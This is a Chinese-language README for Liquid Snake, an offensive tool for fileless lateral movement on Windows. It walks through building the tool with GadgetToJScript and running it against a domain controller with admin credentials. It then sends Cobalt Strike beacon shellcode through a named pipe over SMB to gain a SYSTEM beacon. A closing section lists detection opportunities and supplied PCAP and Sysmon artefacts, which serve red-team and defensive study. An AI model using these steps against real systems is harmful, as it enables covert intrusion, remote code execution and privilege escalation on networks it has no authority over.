Liquid Snake 是一个旨在对 Windows 系统进行横向移动而不接触磁盘的程序。 该工具依赖 WMI 事件订阅来在内存中执行 .NET 程序集,该 .NET 程序集将在命名管道上监听 shellcode,然后使用线程劫持 shellcode 注入的一个变种来执行它。
下面的图表(希望如此)阐明了数据流程:

该项目由两个独立的解决方案组成:
CSharpNamedPipeLoader - 将通过 GadgetToJScript 转换为 VBS 的组件LiquidSnake - 负责在远程系统上创建 WMI 事件订阅的组件只需在 Visual Studio 中打开两个解决方案并编译它们。确保 CSharpNamedPipeLoader 的目标体系结构为 x64。如果一切顺利,您将得到两个独立的 EXE 文件:CSharpNamedPipeLoader.exe 和 LiquidSnake.exe
使用 GadgetToJscript,通过以下命令将 CSharpNamedPipeLoader.exe 转换为 VBS:
GadgetToJScript.exe -a CSharpNamedPipeLoader.exe -b -w vbs
使用 cscript.exe 测试 .NET 反序列化,确保一切按预期工作:
cscript.exe test.vbs
然后,将 vbs 文件进行 base64 编码,并将其放入 LiquidSnake 的 Program.cs 中第 29 行的 vbscript64 变量。
我已经为您做了这一步,因此您只需编译 LiquidSnake 解决方案并直接使用即可。
该项目的用法很简单,使用 LiquidSnake.exe 针对您拥有管理员访问权限的主机,如下所示:
LiquidSnake.exe <host> [<username> <password> <domain>]
LiquidSnake.exe dc01.isengard.local
LiquidSnake.exe dc01.isengard.local saruman DeathToFrodo123 isengard.local
注意:目前当您明确设置用户凭据时存在一个错误,工具在这种情况下将无法工作。建议改用 make_token 或任何其他模拟机制。
如果一切顺利,您应该得到类似如下的输出:
[*] Event filter created.
[*] Event consumer created.
[*] Subscription created, now sleeping
[*] Sending some DCOM love..
[*] Sleeping again... long day
上面的示例使用 CobaltStrike 的 execute-assembly 来启动 LiquidSnake:

同时,在远程主机上会创建一个命名管道,其名称如下:
\\.\pipe\6e7645c4-32c5-4fe3-aabf-e94c2f4370e7

然后,使用我的 send_shellcode_via_pipe 来自我的 BOFs 的项目,您可以向远程管道发送任意 shellcode,该 shellcode 将被加载并执行:
send_shellcode_via_pipe \\dc01\pipe\6e7645c4-32c5-4fe3-aabf-e94c2f4370e7 beacon.bin

如果一切如预期般工作,您应该得到一个 SYSTEM 信标:

注意:当前 LiquidSnake 版本包含由 GadgetToJScript 生成的产物,其目标 .NET 版本为 4.x。如果目标主机仅安装了 3.5,则会失败。只需重复相同的过程,但在构建 GadgetToJScript 时使用适当的 .NET 版本。
存在许多检测机会来识别该工具的滥用以及一般技术使用:
scrcons.exe 进程相关的 clr.dll 模块加载事件scrcons.exe 进程相关的命名管道的创建此外,该具体实现的最大缺点是 shellcode 以明文形式通过 SMB 发送。这意味着如果网络监控解决方案能够检查该流量,它很可能会被突出显示。我还没有对 zeek/bro 规则集进行太多测试,但我很确定它会立即被识别。
在 detection-artefacts 文件夹中,我留下了 Wireshark 捕获的 PCAP 文件和攻击期间生成的 Sysmon 事件(使用 Swift On Security 的默认配置)。